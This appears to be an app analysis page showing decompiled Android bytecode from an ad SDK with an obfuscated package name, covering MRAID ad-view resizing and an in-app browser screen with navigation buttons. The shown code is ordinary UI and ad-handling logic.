  • Data flow analysis:
    • p0: offsetX
90move-result v21
91if-eqz v21, :cond_261
92const/16 v16, 0x0
93goto_8d:
94const-string v21, "offsetY"
95move-object/from16 v0, v21
97invoke-virtual {v13, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: offsetY
98move-result v21
99if-eqz v21, :cond_26b
100const/16 v17, 0x0
101goto_99:
102const-string v21, "allowOffscreen"
103move-object/from16 v0, v21
105invoke-virtual {v13, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: allowOffscreen
106move-result v21
107if-eqz v21, :cond_275
108const/4 v4, 0x1
109goto_a4: move-object/from16 v0, p0
111iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;
112move-object/from16 v21, v0
113move-object/from16 v0, v21
115invoke-virtual {v0, v9}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->getGravity(Ljava/lang/String;)I
116try_end_af: move-result v5
117cond_b0: if-nez v4, :cond_c2
118try_start_b2: move-object/from16 v0, p0
119move/from16 v1, v20
121invoke-direct {v0, v1, v11}, Lcom/vxjxu/jkhfn1870/MraidView;->checkSizeParams(II)[I
122move-result-object v19
123const/16 v21, 0x0
124aget v20, v19, v21
125const/16 v21, 0x1
126aget v11, v19, v21
127cond_c2:
128invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getRootView()Landroid/view/View;
129move-result-object v21
130const v22, 0x1020002
132invoke-virtual/range {v21 .. v22}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 16908290
133move-result-object v7
134check-cast v7, Landroid/widget/FrameLayout;
135new-instance v3, Landroid/widget/FrameLayout$LayoutParams;
136move/from16 v0, v20
138invoke-direct {v3, v0, v11}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V
139new-instance v18, Landroid/view/View;
141invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
142move-result-object v21
143move-object/from16 v0, v18
144move-object/from16 v1, v21
146invoke-direct {v0, v1}, Landroid/view/View;-><init>(Landroid/content/Context;)V
148invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
149move-result-object v21
150move-object/from16 v0, v18
151move-object/from16 v1, v21
153invoke-virtual {v0, v1}, Landroid/view/View;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
154new-instance v21, Landroid/widget/FrameLayout;
156invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
157move-result-object v22
159invoke-direct/range {v21 .. v22}, Landroid/widget/FrameLayout;-><init>(Landroid/content/Context;)V
160move-object/from16 v0, v21
161move-object/from16 v1, p0
162iput-object v0, v1, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
163new-instance v14, Landroid/widget/FrameLayout$LayoutParams;
164move/from16 v0, v20
166invoke-direct {v14, v0, v11}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V
167move/from16 v0, v16
168iput v0, v14, Landroid/widget/FrameLayout$LayoutParams;->leftMargin:I
169move/from16 v0, v17
170iput v0, v14, Landroid/widget/FrameLayout$LayoutParams;->topMargin:I
171move-object/from16 v0, p0
173iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
174move-object/from16 v21, v0
175move-object/from16 v0, v21
177invoke-virtual {v0, v14}, Landroid/widget/FrameLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
179invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getParent()Landroid/view/ViewParent;
180move-result-object v21
181check-cast v21, Landroid/view/ViewGroup;
182move-object/from16 v0, v21
183move-object/from16 v1, p0
184iput-object v0, v1, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
185const/4 v12, 0x0
186move-object/from16 v0, p0
188iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
189move-object/from16 v21, v0
190if-eqz v21, :cond_1f0
191move-object/from16 v0, p0
193iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
194move-object/from16 v21, v0
196invoke-virtual/range {v21 .. v21}, Landroid/view/ViewGroup;->getChildCount()I
197move-result v8
198const/4 v12, 0x0
199goto_137: if-ge v12, v8, :cond_14b
200move-object/from16 v0, p0
202iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
203move-object/from16 v21, v0
204move-object/from16 v0, v21
206invoke-virtual {v0, v12}, Landroid/view/ViewGroup;->getChildAt(I)Landroid/view/View;
  • Data flow analysis:
    • index: 0
207move-result-object v21
208move-object/from16 v0, v21
209move-object/from16 v1, p0
210if-ne v0, v1, :cond_2b3
211cond_14b: move-object/from16 v0, p0
212iput v12, v0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I
213move-object/from16 v0, p0
215invoke-virtual {v0, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
216move-object/from16 v0, p0
218iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
219move-object/from16 v21, v0
220move-object/from16 v0, v21
221move-object/from16 v1, p0
223invoke-virtual {v0, v1}, Landroid/view/ViewGroup;->removeView(Landroid/view/View;)V
224move-object/from16 v0, p0
226iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
227move-object/from16 v21, v0
228move-object/from16 v0, v21
229move-object/from16 v1, p0
231invoke-virtual {v0, v1}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;)V
232try_start_16e: new-instance v15, Landroid/widget/LinearLayout;
234invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
235move-result-object v21
236move-object/from16 v0, v21
238invoke-direct {v15, v0}, Landroid/widget/LinearLayout;-><init>(Landroid/content/Context;)V
239new-instance v6, Landroid/widget/FrameLayout$LayoutParams;
240move-object/from16 v0, p0
241iget v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F
242move/from16 v21, v0
243const/high16 v22, 0x42480000 # 50.0f
244mul-float v21, v21, v22
245move/from16 v0, v21
246float-to-int v0, v0
247move/from16 v21, v0
248move-object/from16 v0, p0
249iget v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F
250move/from16 v22, v0
251const/high16 v23, 0x42480000 # 50.0f
252mul-float v22, v22, v23
253move/from16 v0, v22
254float-to-int v0, v0
255move/from16 v22, v0
256move/from16 v0, v21
257move/from16 v1, v22
259invoke-direct {v6, v0, v1}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V
260iput v5, v6, Landroid/widget/FrameLayout$LayoutParams;->gravity:I
262invoke-virtual {v15, v6}, Landroid/widget/LinearLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
264invoke-virtual {v15, v5}, Landroid/widget/LinearLayout;->setGravity(I)V
265move-object/from16 v0, p0
267iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
268move-object/from16 v21, v0
269move-object/from16 v0, v21
271invoke-virtual {v0, v15}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;)V
272goto_1b3: move-object/from16 v0, p0
274iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
275move-object/from16 v21, v0
276move-object/from16 v0, v21
278invoke-virtual {v7, v0}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;)V
279move-object/from16 v0, p0
281iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
282move-object/from16 v21, v0
283move-object/from16 v0, p0
284iget v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I
285move/from16 v22, v0
286move-object/from16 v0, v21
287move-object/from16 v1, v18
288move/from16 v2, v22
290invoke-virtual {v0, v1, v2}, Landroid/view/ViewGroup;->addView(Landroid/view/View;I)V
291move-object/from16 v0, p0
293iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
294move-object/from16 v21, v0
295const/16 v22, 0x8
297invoke-virtual/range {v21 .. v22}, Landroid/view/ViewGroup;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
299const-string v21, "resized"
300move-object/from16 v0, p0
301move-object/from16 v1, v21
303invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setState(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: resized
305const-string v21, "sizeChange"
306move-object/from16 v0, p0
307move-object/from16 v1, v21
309invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerEvent(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: sizeChange
310cond_1f0: move-object/from16 v0, p0
312iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
313move-object/from16 v21, v0
314if-eqz v21, :cond_201
315move-object/from16 v0, p0
317iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
318move-object/from16 v21, v0
320invoke-interface/range {v21 .. v21}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdExpandedListner()V
321cond_201: move-object/from16 v0, p0
323iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
324move-object/from16 v21, v0
325if-eqz v21, :cond_217
326move-object/from16 v0, p0
328iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
329move-object/from16 v21, v0
330const/16 v22, 0x0
331move/from16 v0, v22
332move-object/from16 v1, v21
333iput-boolean v0, v1, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z
334cond_217:
335const-string v21, "95"
336move-object/from16 v0, p0
337move-object/from16 v1, v21
339invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 95
340goto_220: return-void
341try_start_221:
342const-string v21, "width"
343move-object/from16 v0, v21
345invoke-virtual {v13, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: width
346move-result v21
347move/from16 v0, v21
348int-to-float v0, v0
349move/from16 v21, v0
351invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
352move-result-object v22
354invoke-static/range {v21 .. v22}, Lcom/vxjxu/jkhfn1870/Util;->convertDpToPixel(FLandroid/content/Context;)F
355move-result v21
356move/from16 v0, v21
357float-to-int v0, v0
358move/from16 v20, v0
359goto/16 :goto_61
360cond_23d:
361const-string v21, "height"
362move-object/from16 v0, v21
364invoke-virtual {v13, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: height
365move-result v21
366move/from16 v0, v21
367int-to-float v0, v0
368move/from16 v21, v0
370invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
371move-result-object v22
373invoke-static/range {v21 .. v22}, Lcom/vxjxu/jkhfn1870/Util;->convertDpToPixel(FLandroid/content/Context;)F
374move-result v21
375move/from16 v0, v21
376float-to-int v11, v0
377goto/16 :goto_75
378cond_257:
379const-string v21, "customClosePosition"
380move-object/from16 v0, v21
382invoke-virtual {v13, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: customClosePosition
383move-result-object v9
384goto/16 :goto_81
385cond_261:
386const-string v21, "offsetX"
387move-object/from16 v0, v21
389invoke-virtual {v13, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: offsetX
390move-result v16
391goto/16 :goto_8d
392cond_26b:
393const-string v21, "offsetY"
394move-object/from16 v0, v21
396invoke-virtual {v13, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: offsetY
397move-result v17
398goto/16 :goto_99
399cond_275:
400const-string v21, "allowOffscreen"
401move-object/from16 v0, v21
403invoke-virtual {v13, v0}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: allowOffscreen
404try_end_27c: move-result v4
405goto/16 :goto_a4
406catch_27f: move-exception v10
407try_start_280: move-object/from16 v0, p0
409iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
410move-object/from16 v21, v0
411if-eqz v21, :cond_295
412move-object/from16 v0, p0
414iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
415move-object/from16 v21, v0
417invoke-virtual {v10}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
418move-result-object v22
420invoke-interface/range {v21 .. v22}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V
421cond_295:
422const-string v21, "resize"
424const-string v22, "Error occured while parsing resizeProperties data."
425move-object/from16 v0, p0
426move-object/from16 v1, v21
427move-object/from16 v2, v22
429invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: resize
    • p1: Error occured while parsing resizeProperties data.
430try_end_2a2: goto/16 :goto_220
431catch_2a4: move-exception v10
433const-string v21, "89"
434move-object/from16 v0, p0
435move-object/from16 v1, v21
437invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 89
439invoke-virtual {v10}, Ljava/lang/Exception;->printStackTrace()V
440goto/16 :goto_220
441cond_2b3: add-int/lit8 v12, v12, 0x1
442goto/16 :goto_137
443catch_2b7: move-exception v10
444try_start_2b8:
445invoke-virtual {v10}, Ljava/lang/Exception;->printStackTrace()V
446try_end_2bb: goto/16 :goto_1b3
Cross References
APIs
  • android.widget.LinearLayout.<init>
  • android.widget.LinearLayout.setOrientation
  • android.widget.LinearLayout$LayoutParams.<init>
  • android.widget.LinearLayout.setLayoutParams
  • android.widget.RelativeLayout.<init>
  • android.widget.RelativeLayout$LayoutParams.<init>
  • android.widget.RelativeLayout.setLayoutParams
  • android.widget.Button.<init>
  • android.widget.RelativeLayout$LayoutParams.<init>
  • android.widget.RelativeLayout$LayoutParams.addRule
  • android.widget.Button.setLayoutParams
  • android.widget.Button.setText
  • android.widget.Button.setTypeface
  • android.widget.Button.setTextColor
  • android.widget.Button.setId
  • android.widget.RelativeLayout.addView
  • android.widget.Button.<init>
  • android.widget.RelativeLayout$LayoutParams.<init>
  • android.widget.RelativeLayout$LayoutParams.addRule
  • android.widget.Button.setLayoutParams
  • android.widget.Button.setText
  • android.widget.Button.setTypeface
  • android.widget.Button.setTextColor
  • android.widget.Button.setId
  • android.widget.RelativeLayout.addView
  • android.widget.Button.<init>
  • android.widget.RelativeLayout$LayoutParams.<init>
  • android.widget.RelativeLayout$LayoutParams.addRule
  • android.widget.Button.setLayoutParams
  • android.widget.Button.setText
  • android.widget.Button.setTypeface
  • android.widget.Button.setTextColor
  • android.widget.Button.setId
  • android.widget.RelativeLayout.addView
  • android.widget.Button.<init>
  • android.widget.RelativeLayout$LayoutParams.<init>
  • android.widget.RelativeLayout$LayoutParams.addRule
  • android.widget.Button.setLayoutParams
  • android.widget.Button.setText
  • android.widget.Button.setTypeface
  • android.widget.Button.setTextColor
  • android.widget.Button.setId
  • android.widget.RelativeLayout.addView
  • android.widget.RelativeLayout.setGravity
  • android.widget.LinearLayout.addView
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.<init>
  • android.widget.LinearLayout$LayoutParams.<init>
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.setLayoutParams
  • android.widget.LinearLayout.addView
  • com.vxjxu.jkhfn1870.BrowserActivity.setContentView
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.loadUrl
  • android.widget.Button.setOnClickListener
  • android.widget.Button.setEnabled
Strings
  • Back
  • Forward
  • Refresh
  • Close
Position Instruction Meta Information
0.param p1, "url" # Ljava/lang/String;
1.prologue
2const/4 v13, 0x0
3const/16 v12, 0xf
4const/4 v11, 0x1
5const/4 v10, -0x2
6const/4 v9, -0x1
7new-instance v7, Landroid/widget/LinearLayout;
9invoke-direct {v7, p0}, Landroid/widget/LinearLayout;-><init>(Landroid/content/Context;)V
10iput-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->fullScreenLayout:Landroid/widget/LinearLayout;
12iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->fullScreenLayout:Landroid/widget/LinearLayout;
14invoke-virtual {v7, v11}, Landroid/widget/LinearLayout;->setOrientation(I)V
  • Data flow analysis:
    • orientation: 1
16iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->fullScreenLayout:Landroid/widget/LinearLayout;
17new-instance v8, Landroid/widget/LinearLayout$LayoutParams;
19invoke-direct {v8, v9, v9}, Landroid/widget/LinearLayout$LayoutParams;-><init>(II)V
21invoke-virtual {v7, v8}, Landroid/widget/LinearLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
22new-instance v1, Landroid/widget/RelativeLayout;
24invoke-direct {v1, p0}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;)V
25new-instance v2, Landroid/widget/RelativeLayout$LayoutParams;
26const/high16 v7, 0x42200000 # 40.0f
27iget v8, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->scale:F
28mul-float/2addr v7, v8
29float-to-int v7, v7
31invoke-direct {v2, v9, v7}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V
33invoke-virtual {v1, v2}, Landroid/widget/RelativeLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
34new-instance v7, Landroid/widget/Button;
36invoke-direct {v7, p0}, Landroid/widget/Button;-><init>(Landroid/content/Context;)V
37iput-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button;
38new-instance v0, Landroid/widget/RelativeLayout$LayoutParams;
40invoke-direct {v0, v10, v10}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V
41const/16 v7, 0x9
43invoke-virtual {v0, v7, v9}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V
  • Data flow analysis:
    • p0: 9
45invoke-virtual {v0, v12, v9}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V
  • Data flow analysis:
    • p0: 15
47iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button;
49invoke-virtual {v7, v0}, Landroid/widget/Button;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
51iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button;
53const-string v8, "Back"
55invoke-virtual {v7, v8}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V
  • Data flow analysis:
    • p0: Back
57iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button;
59invoke-virtual {v7, v13, v11}, Landroid/widget/Button;->setTypeface(Landroid/graphics/Typeface;I)V
  • Data flow analysis:
    • p0: 0
    • p1: 1
61iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button;
63invoke-virtual {v7, v9}, Landroid/widget/Button;->setTextColor(I)V
65iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button;
66const/16 v8, 0xb
68invoke-virtual {v7, v8}, Landroid/widget/Button;->setId(I)V
  • Data flow analysis:
    • id: 11
70iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button;
72invoke-virtual {v1, v7}, Landroid/widget/RelativeLayout;->addView(Landroid/view/View;)V
73new-instance v7, Landroid/widget/Button;
75invoke-direct {v7, p0}, Landroid/widget/Button;-><init>(Landroid/content/Context;)V
76iput-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button;
77new-instance v4, Landroid/widget/RelativeLayout$LayoutParams;
79invoke-direct {v4, v10, v10}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V
80const/16 v7, 0xb
82invoke-virtual {v4, v11, v7}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V
  • Data flow analysis:
    • p0: 1
    • p1: 11
84invoke-virtual {v4, v12, v9}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V
  • Data flow analysis:
    • p0: 15
86iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button;
88invoke-virtual {v7, v4}, Landroid/widget/Button;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
90iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button;
92const-string v8, "Forward"
94invoke-virtual {v7, v8}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V
  • Data flow analysis:
    • p0: Forward
96iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button;
98invoke-virtual {v7, v13, v11}, Landroid/widget/Button;->setTypeface(Landroid/graphics/Typeface;I)V
  • Data flow analysis:
    • p0: 0
    • p1: 1
100iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button;
102invoke-virtual {v7, v9}, Landroid/widget/Button;->setTextColor(I)V
104iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button;
105const/16 v8, 0xc
107invoke-virtual {v7, v8}, Landroid/widget/Button;->setId(I)V
  • Data flow analysis:
    • id: 12
109iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button;
111invoke-virtual {v1, v7}, Landroid/widget/RelativeLayout;->addView(Landroid/view/View;)V
112new-instance v7, Landroid/widget/Button;
114invoke-direct {v7, p0}, Landroid/widget/Button;-><init>(Landroid/content/Context;)V
115iput-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button;
116new-instance v6, Landroid/widget/RelativeLayout$LayoutParams;
118invoke-direct {v6, v10, v10}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V
119const/16 v7, 0xc
121invoke-virtual {v6, v11, v7}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V
  • Data flow analysis:
    • p0: 1
    • p1: 12
123invoke-virtual {v6, v12, v9}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V
  • Data flow analysis:
    • p0: 15
125iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button;
127invoke-virtual {v7, v6}, Landroid/widget/Button;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
129iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button;
131const-string v8, "Refresh"
133invoke-virtual {v7, v8}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V
  • Data flow analysis:
    • p0: Refresh
135iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button;
137invoke-virtual {v7, v13, v11}, Landroid/widget/Button;->setTypeface(Landroid/graphics/Typeface;I)V
  • Data flow analysis:
    • p0: 0
    • p1: 1
139iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button;
141invoke-virtual {v7, v9}, Landroid/widget/Button;->setTextColor(I)V
143iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button;
144const/16 v8, 0xd
146invoke-virtual {v7, v8}, Landroid/widget/Button;->setId(I)V
  • Data flow analysis:
    • id: 13
148iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button;
150invoke-virtual {v1, v7}, Landroid/widget/RelativeLayout;->addView(Landroid/view/View;)V
151new-instance v7, Landroid/widget/Button;
153invoke-direct {v7, p0}, Landroid/widget/Button;-><init>(Landroid/content/Context;)V
154iput-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button;
155new-instance v3, Landroid/widget/RelativeLayout$LayoutParams;
157invoke-direct {v3, v10, v10}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V
158const/16 v7, 0xb
160invoke-virtual {v3, v7, v9}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V
  • Data flow analysis:
    • p0: 11
162invoke-virtual {v3, v12, v9}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V
  • Data flow analysis:
    • p0: 15
164iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button;
166invoke-virtual {v7, v3}, Landroid/widget/Button;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
168iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button;
170const-string v8, "Close"
172invoke-virtual {v7, v8}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V
  • Data flow analysis:
    • p0: Close
174iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button;
176invoke-virtual {v7, v13, v11}, Landroid/widget/Button;->setTypeface(Landroid/graphics/Typeface;I)V
  • Data flow analysis:
    • p0: 0
    • p1: 1
178iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button;
180invoke-virtual {v7, v9}, Landroid/widget/Button;->setTextColor(I)V
182iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button;
183const/16 v8, 0xe
185invoke-virtual {v7, v8}, Landroid/widget/Button;->setId(I)V
  • Data flow analysis:
    • id: 14
187iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button;
189invoke-virtual {v1, v7}, Landroid/widget/RelativeLayout;->addView(Landroid/view/View;)V
190const/16 v7, 0x11
192invoke-virtual {v1, v7}, Landroid/widget/RelativeLayout;->setGravity(I)V
  • Data flow analysis:
    • gravity: 17
194iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->fullScreenLayout:Landroid/widget/LinearLayout;
196invoke-virtual {v7, v1}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;)V
197new-instance v7, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
199invoke-direct {v7, p0, p0, p1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;-><init>(Lcom/vxjxu/jkhfn1870/BrowserActivity;Landroid/content/Context;Ljava/lang/String;)V
200iput-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
201new-instance v5, Landroid/widget/LinearLayout$LayoutParams;
203invoke-direct {v5, v9, v9}, Landroid/widget/LinearLayout$LayoutParams;-><init>(II)V
205iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
207invoke-virtual {v7, v5}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
209iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->fullScreenLayout:Landroid/widget/LinearLayout;
211iget-object v8, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
213invoke-virtual {v7, v8}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;)V
215iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->fullScreenLayout:Landroid/widget/LinearLayout;
217invoke-virtual {p0, v7}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->setContentView(Landroid/view/View;)V
219iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
221invoke-virtual {v7, p1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->loadUrl(Ljava/lang/String;)V
223iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button;
